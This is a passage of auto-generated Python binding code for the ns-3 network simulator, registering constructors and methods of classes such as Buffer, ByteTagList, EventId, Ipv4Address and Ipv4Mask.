ns3::AsciiTraceHelperForDevice::EnableAsciiAll(ns3::Ptr<ns3::OutputStreamWrapper> stream) [member function] cls.add_method('EnableAsciiAll', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')]) ## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAsciiInternal(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool explicitFilename) [member function] cls.add_method('EnableAsciiInternal', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'explicitFilename')], is_pure_virtual=True, is_virtual=True) return def register_Ns3AttributeConstructionList_methods(root_module, cls): ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList(ns3::AttributeConstructionList const & arg0) [copy constructor] cls.add_constructor([param('ns3::AttributeConstructionList const &', 'arg0')]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList() [constructor] cls.add_constructor([]) ## attribute-construction-list.h (module 'core'): void ns3::AttributeConstructionList::Add(std::string name, ns3::Ptr<ns3::AttributeChecker const> checker, ns3::Ptr<ns3::AttributeValue> value) [member function] cls.add_method('Add', 'void', [param('std::string', 'name'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker'), param('ns3::Ptr< ns3::AttributeValue >', 'value')]) ## attribute-construction-list.h (module 'core'): std::_List_const_iterator<ns3::AttributeConstructionList::Item> ns3::AttributeConstructionList::Begin() const [member function] cls.add_method('Begin', 'std::_List_const_iterator< ns3::AttributeConstructionList::Item >', [], is_const=True) ## attribute-construction-list.h (module 'core'): std::_List_const_iterator<ns3::AttributeConstructionList::Item> ns3::AttributeConstructionList::End() const [member function] cls.add_method('End', 'std::_List_const_iterator< ns3::AttributeConstructionList::Item >', [], is_const=True) ## attribute-construction-list.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeConstructionList::Find(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('Find', 'ns3::Ptr< ns3::AttributeValue >', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True) return def register_Ns3AttributeConstructionListItem_methods(root_module, cls): ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item() [constructor] cls.add_constructor([]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item(ns3::AttributeConstructionList::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::AttributeConstructionList::Item const &', 'arg0')]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::checker [variable] cls.add_instance_attribute('checker', 'ns3::Ptr< ns3::AttributeChecker const >', is_const=False) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::name [variable] cls.add_instance_attribute('name', 'std::string', is_const=False) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::value [variable] cls.add_instance_attribute('value', 'ns3::Ptr< ns3::AttributeValue >', is_const=False) return def register_Ns3Buffer_methods(root_module, cls): ## buffer.h (module 'network'): ns3::Buffer::Buffer() [constructor] cls.add_constructor([]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize) [constructor] cls.add_constructor([param('uint32_t', 'dataSize')]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize, bool initialize) [constructor] cls.add_constructor([param('uint32_t', 'dataSize'), param('bool', 'initialize')]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(ns3::Buffer const & o) [copy constructor] cls.add_constructor([param('ns3::Buffer const &', 'o')]) ## buffer.h (module 'network'): bool ns3::Buffer::AddAtEnd(uint32_t end) [member function] cls.add_method('AddAtEnd', 'bool', [param('uint32_t', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::AddAtEnd(ns3::Buffer const & o) [member function] cls.add_method('AddAtEnd', 'void', [param('ns3::Buffer const &', 'o')]) ## buffer.h (module 'network'): bool ns3::Buffer::AddAtStart(uint32_t start) [member function] cls.add_method('AddAtStart', 'bool', [param('uint32_t', 'start')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::Begin() const [member function] cls.add_method('Begin', 'ns3::Buffer::Iterator', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::CopyData(std::ostream * os, uint32_t size) const [member function] cls.add_method('CopyData', 'void', [param('std::ostream *', 'os'), param('uint32_t', 'size')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::CopyData(uint8_t * buffer, uint32_t size) const [member function] cls.add_method('CopyData', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')], is_const=True) ## buffer.h (module 'network'): ns3::Buffer ns3::Buffer::CreateFragment(uint32_t start, uint32_t length) const [member function] cls.add_method('CreateFragment', 'ns3::Buffer', [param('uint32_t', 'start'), param('uint32_t', 'length')], is_const=True) ## buffer.h (module 'network'): ns3::Buffer ns3::Buffer::CreateFullCopy() const [member function] cls.add_method('CreateFullCopy', 'ns3::Buffer', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Deserialize(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Deserialize', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::End() const [member function] cls.add_method('End', 'ns3::Buffer::Iterator', [], is_const=True) ## buffer.h (module 'network'): int32_t ns3::Buffer::GetCurrentEndOffset() const [member function] cls.add_method('GetCurrentEndOffset', 'int32_t', [], is_const=True) ## buffer.h (module 'network'): int32_t ns3::Buffer::GetCurrentStartOffset() const [member function] cls.add_method('GetCurrentStartOffset', 'int32_t', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSize() const [member function] cls.add_method('GetSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint8_t const * ns3::Buffer::PeekData() const [member function] cls.add_method('PeekData', 'uint8_t const *', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::RemoveAtEnd(uint32_t end) [member function] cls.add_method('RemoveAtEnd', 'void', [param('uint32_t', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::RemoveAtStart(uint32_t start) [member function] cls.add_method('RemoveAtStart', 'void', [param('uint32_t', 'start')]) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function] cls.add_method('Serialize', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')], is_const=True) return def register_Ns3BufferIterator_methods(root_module, cls): ## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator(ns3::Buffer::Iterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::Buffer::Iterator const &', 'arg0')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator() [constructor] cls.add_constructor([]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size) [member function] cls.add_method('CalculateIpChecksum', 'uint16_t', [param('uint16_t', 'size')]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size, uint32_t initialChecksum) [member function] cls.add_method('CalculateIpChecksum', 'uint16_t', [param('uint16_t', 'size'), param('uint32_t', 'initialChecksum')]) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetDistanceFrom(ns3::Buffer::Iterator const & o) const [member function] cls.add_method('GetDistanceFrom', 'uint32_t', [param('ns3::Buffer::Iterator const &', 'o')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetSize() const [member function] cls.add_method('GetSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsEnd() const [member function] cls.add_method('IsEnd', 'bool', [], is_const=True) ## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsStart() const [member function] cls.add_method('IsStart', 'bool', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next() [member function] cls.add_method('Next', 'void', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next(uint32_t delta) [member function] cls.add_method('Next', 'void', [param('uint32_t', 'delta')]) ## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::PeekU8() [member function] cls.add_method('PeekU8', 'uint8_t', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev() [member function] cls.add_method('Prev', 'void', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev(uint32_t delta) [member function] cls.add_method('Prev', 'void', [param('uint32_t', 'delta')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(uint8_t * buffer, uint32_t size) [member function] cls.add_method('Read', 'void', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(ns3::Buffer::Iterator start, uint32_t size) [member function] cls.add_method('Read', 'void', [param('ns3::Buffer::Iterator', 'start'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadLsbtohU16() [member function] cls.add_method('ReadLsbtohU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadLsbtohU32() [member function] cls.add_method('ReadLsbtohU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadLsbtohU64() [member function] cls.add_method('ReadLsbtohU64', 'uint64_t', []) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadNtohU16() [member function] cls.add_method('ReadNtohU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadNtohU32() [member function] cls.add_method('ReadNtohU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadNtohU64() [member function] cls.add_method('ReadNtohU64', 'uint64_t', []) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadU16() [member function] cls.add_method('ReadU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadU32() [member function] cls.add_method('ReadU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadU64() [member function] cls.add_method('ReadU64', 'uint64_t', []) ## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::ReadU8() [member function] cls.add_method('ReadU8', 'uint8_t', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Write', 'void', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(ns3::Buffer::Iterator start, ns3::Buffer::Iterator end) [member function] cls.add_method('Write', 'void', [param('ns3::Buffer::Iterator', 'start'), param('ns3::Buffer::Iterator', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU16(uint16_t data) [member function] cls.add_method('WriteHtolsbU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU32(uint32_t data) [member function] cls.add_method('WriteHtolsbU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU64(uint64_t data) [member function] cls.add_method('WriteHtolsbU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU16(uint16_t data) [member function] cls.add_method('WriteHtonU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU32(uint32_t data) [member function] cls.add_method('WriteHtonU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU64(uint64_t data) [member function] cls.add_method('WriteHtonU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU16(uint16_t data) [member function] cls.add_method('WriteU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU32(uint32_t data) [member function] cls.add_method('WriteU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU64(uint64_t data) [member function] cls.add_method('WriteU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data) [member function] cls.add_method('WriteU8', 'void', [param('uint8_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data, uint32_t len) [member function] cls.add_method('WriteU8', 'void', [param('uint8_t', 'data'), param('uint32_t', 'len')]) return def register_Ns3ByteTagIterator_methods(root_module, cls): ## packet.h (module 'network'): ns3::ByteTagIterator::ByteTagIterator(ns3::ByteTagIterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::ByteTagIterator const &', 'arg0')]) ## packet.h (module 'network'): bool ns3::ByteTagIterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## packet.h (module 'network'): ns3::ByteTagIterator::Item ns3::ByteTagIterator::Next() [member function] cls.add_method('Next', 'ns3::ByteTagIterator::Item', []) return def register_Ns3ByteTagIteratorItem_methods(root_module, cls): ## packet.h (module 'network'): ns3::ByteTagIterator::Item::Item(ns3::ByteTagIterator::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::ByteTagIterator::Item const &', 'arg0')]) ## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetEnd() const [member function] cls.add_method('GetEnd', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetStart() const [member function] cls.add_method('GetStart', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): void ns3::ByteTagIterator::Item::GetTag(ns3::Tag & tag) const [member function] cls.add_method('GetTag', 'void', [param('ns3::Tag &', 'tag')], is_const=True) ## packet.h (module 'network'): ns3::TypeId ns3::ByteTagIterator::Item::GetTypeId() const [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_const=True) return def register_Ns3ByteTagList_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList() [constructor] cls.add_constructor([]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList(ns3::ByteTagList const & o) [copy constructor] cls.add_constructor([param('ns3::ByteTagList const &', 'o')]) ## byte-tag-list.h (module 'network'): ns3::TagBuffer ns3::ByteTagList::Add(ns3::TypeId tid, uint32_t bufferSize, int32_t start, int32_t end) [member function] cls.add_method('Add', 'ns3::TagBuffer', [param('ns3::TypeId', 'tid'), param('uint32_t', 'bufferSize'), param('int32_t', 'start'), param('int32_t', 'end')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::Add(ns3::ByteTagList const & o) [member function] cls.add_method('Add', 'void', [param('ns3::ByteTagList const &', 'o')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtEnd(int32_t adjustment, int32_t appendOffset) [member function] cls.add_method('AddAtEnd', 'void', [param('int32_t', 'adjustment'), param('int32_t', 'appendOffset')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtStart(int32_t adjustment, int32_t prependOffset) [member function] cls.add_method('AddAtStart', 'void', [param('int32_t', 'adjustment'), param('int32_t', 'prependOffset')]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator ns3::ByteTagList::Begin(int32_t offsetStart, int32_t offsetEnd) const [member function] cls.add_method('Begin', 'ns3::ByteTagList::Iterator', [param('int32_t', 'offsetStart'), param('int32_t', 'offsetEnd')], is_const=True) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::RemoveAll() [member function] cls.add_method('RemoveAll', 'void', []) return def register_Ns3ByteTagListIterator_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Iterator(ns3::ByteTagList::Iterator const & arg0) [copy constructor] cls.add_constructor([param('ns3::ByteTagList::Iterator const &', 'arg0')]) ## byte-tag-list.h (module 'network'): uint32_t ns3::ByteTagList::Iterator::GetOffsetStart() const [member function] cls.add_method('GetOffsetStart', 'uint32_t', [], is_const=True) ## byte-tag-list.h (module 'network'): bool ns3::ByteTagList::Iterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item ns3::ByteTagList::Iterator::Next() [member function] cls.add_method('Next', 'ns3::ByteTagList::Iterator::Item', []) return def register_Ns3ByteTagListIteratorItem_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::Item(ns3::ByteTagList::Iterator::Item const & arg0) [copy constructor] cls.add_constructor([param('ns3::ByteTagList::Iterator::Item const &', 'arg0')]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::Item(ns3::TagBuffer buf) [constructor] cls.add_constructor([param('ns3::TagBuffer', 'buf')]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::buf [variable] cls.add_instance_attribute('buf', 'ns3::TagBuffer', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::end [variable] cls.add_instance_attribute('end', 'int32_t', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::size [variable] cls.add_instance_attribute('size', 'uint32_t', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::start [variable] cls.add_instance_attribute('start', 'int32_t', is_const=False) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::tid [variable] cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False) return def register_Ns3CallbackBase_methods(root_module, cls): ## callback.h (module 'core'): ns3::CallbackBase::CallbackBase(ns3::CallbackBase const & arg0) [copy constructor] cls.add_constructor([param('ns3::CallbackBase const &', 'arg0')]) ## callback.h (module 'core'): ns3::CallbackBase::CallbackBase() [constructor] cls.add_constructor([]) ## callback.h (module 'core'): ns3::Ptr<ns3::CallbackImplBase> ns3::CallbackBase::GetImpl() const [member function] cls.add_method('GetImpl', 'ns3::Ptr< ns3::CallbackImplBase >', [], is_const=True) ## callback.h (module 'core'): ns3::CallbackBase::CallbackBase(ns3::Ptr<ns3::CallbackImplBase> impl) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::CallbackImplBase >', 'impl')], visibility='protected') ## callback.h (module 'core'): static std::string ns3::CallbackBase::Demangle(std::string const & mangled) [member function] cls.add_method('Demangle', 'std::string', [param('std::string const &', 'mangled')], is_static=True, visibility='protected') return def register_Ns3CriticalSection_methods(root_module, cls): ## system-mutex.h (module 'core'): ns3::CriticalSection::CriticalSection(ns3::CriticalSection const & arg0) [copy constructor] cls.add_constructor([param('ns3::CriticalSection const &', 'arg0')]) ## system-mutex.h (module 'core'): ns3::CriticalSection::CriticalSection(ns3::SystemMutex & mutex) [constructor] cls.add_constructor([param('ns3::SystemMutex &', 'mutex')]) return def register_Ns3DataRate_methods(root_module, cls): cls.add_output_stream_operator() cls.add_binary_comparison_operator('!=') cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('<=') cls.add_binary_comparison_operator('==') cls.add_binary_comparison_operator('>') cls.add_binary_comparison_operator('>=') ## data-rate.h (module 'network'): ns3::DataRate::DataRate(ns3::DataRate const & arg0) [copy constructor] cls.add_constructor([param('ns3::DataRate const &', 'arg0')]) ## data-rate.h (module 'network'): ns3::DataRate::DataRate() [constructor] cls.add_constructor([]) ## data-rate.h (module 'network'): ns3::DataRate::DataRate(uint64_t bps) [constructor] cls.add_constructor([param('uint64_t', 'bps')]) ## data-rate.h (module 'network'): ns3::DataRate::DataRate(std::string rate) [constructor] cls.add_constructor([param('std::string', 'rate')]) ## data-rate.h (module 'network'): double ns3::DataRate::CalculateTxTime(uint32_t bytes) const [member function] cls.add_method('CalculateTxTime', 'double', [param('uint32_t', 'bytes')], is_const=True) ## data-rate.h (module 'network'): uint64_t ns3::DataRate::GetBitRate() const [member function] cls.add_method('GetBitRate', 'uint64_t', [], is_const=True) return def register_Ns3EventId_methods(root_module, cls): cls.add_binary_comparison_operator('!=') cls.add_binary_comparison_operator('==') ## event-id.h (module 'core'): ns3::EventId::EventId(ns3::EventId const & arg0) [copy constructor] cls.add_constructor([param('ns3::EventId const &', 'arg0')]) ## event-id.h (module 'core'): ns3::EventId::EventId() [constructor] cls.add_constructor([]) ## event-id.h (module 'core'): ns3::EventId::EventId(ns3::Ptr<ns3::EventImpl> const & impl, uint64_t ts, uint32_t context, uint32_t uid) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::EventImpl > const &', 'impl'), param('uint64_t', 'ts'), param('uint32_t', 'context'), param('uint32_t', 'uid')]) ## event-id.h (module 'core'): void ns3::EventId::Cancel() [member function] cls.add_method('Cancel', 'void', []) ## event-id.h (module 'core'): uint32_t ns3::EventId::GetContext() const [member function] cls.add_method('GetContext', 'uint32_t', [], is_const=True) ## event-id.h (module 'core'): uint64_t ns3::EventId::GetTs() const [member function] cls.add_method('GetTs', 'uint64_t', [], is_const=True) ## event-id.h (module 'core'): uint32_t ns3::EventId::GetUid() const [member function] cls.add_method('GetUid', 'uint32_t', [], is_const=True) ## event-id.h (module 'core'): bool ns3::EventId::IsExpired() const [member function] cls.add_method('IsExpired', 'bool', [], is_const=True) ## event-id.h (module 'core'): bool ns3::EventId::IsRunning() const [member function] cls.add_method('IsRunning', 'bool', [], is_const=True) ## event-id.h (module 'core'): ns3::EventImpl * ns3::EventId::PeekEventImpl() const [member function] cls.add_method('PeekEventImpl', 'ns3::EventImpl *', [], is_const=True) return def register_Ns3Hasher_methods(root_module, cls): ## hash.h (module 'core'): ns3::Hasher::Hasher(ns3::Hasher const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hasher const &', 'arg0')]) ## hash.h (module 'core'): ns3::Hasher::Hasher() [constructor] cls.add_constructor([]) ## hash.h (module 'core'): ns3::Hasher::Hasher(ns3::Ptr<ns3::Hash::Implementation> hp) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::Hash::Implementation >', 'hp')]) ## hash.h (module 'core'): uint32_t ns3::Hasher::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')]) ## hash.h (module 'core'): uint32_t ns3::Hasher::GetHash32(std::string const s) [member function] cls.add_method('GetHash32', 'uint32_t', [param('std::string const', 's')]) ## hash.h (module 'core'): uint64_t ns3::Hasher::GetHash64(char const * buffer, size_t const size) [member function] cls.add_method('GetHash64', 'uint64_t', [param('char const *', 'buffer'), param('size_t const', 'size')]) ## hash.h (module 'core'): uint64_t ns3::Hasher::GetHash64(std::string const s) [member function] cls.add_method('GetHash64', 'uint64_t', [param('std::string const', 's')]) ## hash.h (module 'core'): ns3::Hasher & ns3::Hasher::clear() [member function] cls.add_method('clear', 'ns3::Hasher &', []) return def register_Ns3Ipv4Address_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(ns3::Ipv4Address const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4Address const &', 'arg0')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(uint32_t address) [constructor] cls.add_constructor([param('uint32_t', 'address')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Address::Ipv4Address(char const * address) [constructor] cls.add_constructor([param('char const *', 'address')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4Address::CombineMask(ns3::Ipv4Mask const & mask) const [member function] cls.add_method('CombineMask', 'ns3::Ipv4Address', [param('ns3::Ipv4Mask const &', 'mask')], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::ConvertFrom(ns3::Address const & address) [member function] cls.add_method('ConvertFrom', 'ns3::Ipv4Address', [param('ns3::Address const &', 'address')], is_static=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::Deserialize(uint8_t const * buf) [member function] cls.add_method('Deserialize', 'ns3::Ipv4Address', [param('uint8_t const *', 'buf')], is_static=True) ## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Address::Get() const [member function] cls.add_method('Get', 'uint32_t', [], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetAny() [member function] cls.add_method('GetAny', 'ns3::Ipv4Address', [], is_static=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetBroadcast() [member function] cls.add_method('GetBroadcast', 'ns3::Ipv4Address', [], is_static=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetLoopback() [member function] cls.add_method('GetLoopback', 'ns3::Ipv4Address', [], is_static=True) ## ipv4-address.h (module 'network'): ns3::Ipv4Address ns3::Ipv4Address::GetSubnetDirectedBroadcast(ns3::Ipv4Mask const & mask) const [member function] cls.add_method('GetSubnetDirectedBroadcast', 'ns3::Ipv4Address', [param('ns3::Ipv4Mask const &', 'mask')], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Address ns3::Ipv4Address::GetZero() [member function] cls.add_method('GetZero', 'ns3::Ipv4Address', [], is_static=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsBroadcast() const [member function] cls.add_method('IsBroadcast', 'bool', [], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsEqual(ns3::Ipv4Address const & other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ipv4Address const &', 'other')], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsLocalMulticast() const [member function] cls.add_method('IsLocalMulticast', 'bool', [], is_const=True) ## ipv4-address.h (module 'network'): static bool ns3::Ipv4Address::IsMatchingType(ns3::Address const & address) [member function] cls.add_method('IsMatchingType', 'bool', [param('ns3::Address const &', 'address')], is_static=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsMulticast() const [member function] cls.add_method('IsMulticast', 'bool', [], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Address::IsSubnetDirectedBroadcast(ns3::Ipv4Mask const & mask) const [member function] cls.add_method('IsSubnetDirectedBroadcast', 'bool', [param('ns3::Ipv4Mask const &', 'mask')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Serialize(uint8_t * buf) const [member function] cls.add_method('Serialize', 'void', [param('uint8_t *', 'buf')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Set(uint32_t address) [member function] cls.add_method('Set', 'void', [param('uint32_t', 'address')]) ## ipv4-address.h (module 'network'): void ns3::Ipv4Address::Set(char const * address) [member function] cls.add_method('Set', 'void', [param('char const *', 'address')]) return def register_Ns3Ipv4Mask_methods(root_module, cls): cls.add_binary_comparison_operator('!=') cls.add_output_stream_operator() cls.add_binary_comparison_operator('==') ## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(ns3::Ipv4Mask const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4Mask const &', 'arg0')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(uint32_t mask) [constructor] cls.add_constructor([param('uint32_t', 'mask')]) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask::Ipv4Mask(char const * mask) [constructor] cls.add_constructor([param('char const *', 'mask')]) ## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Mask::Get() const [member function] cls.add_method('Get', 'uint32_t', [], is_const=True) ## ipv4-address.h (module 'network'): uint32_t ns3::Ipv4Mask::GetInverse() const [member function] cls.add_method('GetInverse', 'uint32_t', [], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetLoopback() [member function] cls.add_method('GetLoopback', 'ns3::Ipv4Mask', [], is_static=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetOnes() [member function] cls.add_method('GetOnes', 'ns3::Ipv4Mask', [], is_static=True) ## ipv4-address.h (module 'network'): uint16_t ns3::Ipv4Mask::GetPrefixLength() const [member function] cls.add_method('GetPrefixLength', 'uint16_t', [], is_const=True) ## ipv4-address.h (module 'network'): static ns3::Ipv4Mask ns3::Ipv4Mask::GetZero() [member function] cls.add_method('GetZero', 'ns3::Ipv4Mask', [], is_static=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Mask::IsEqual(ns3::Ipv4Mask other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ipv4Mask', 'other')], is_const=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4Mask::IsMatch(ns3::Ipv4Address a, ns3::Ipv4Address b) const [member function] cls.add_method('IsMatch', 'bool', [param('ns3::Ipv4Address', 'a'), param('ns3::Ipv4Address', 'b')], is_const=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4Mask::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 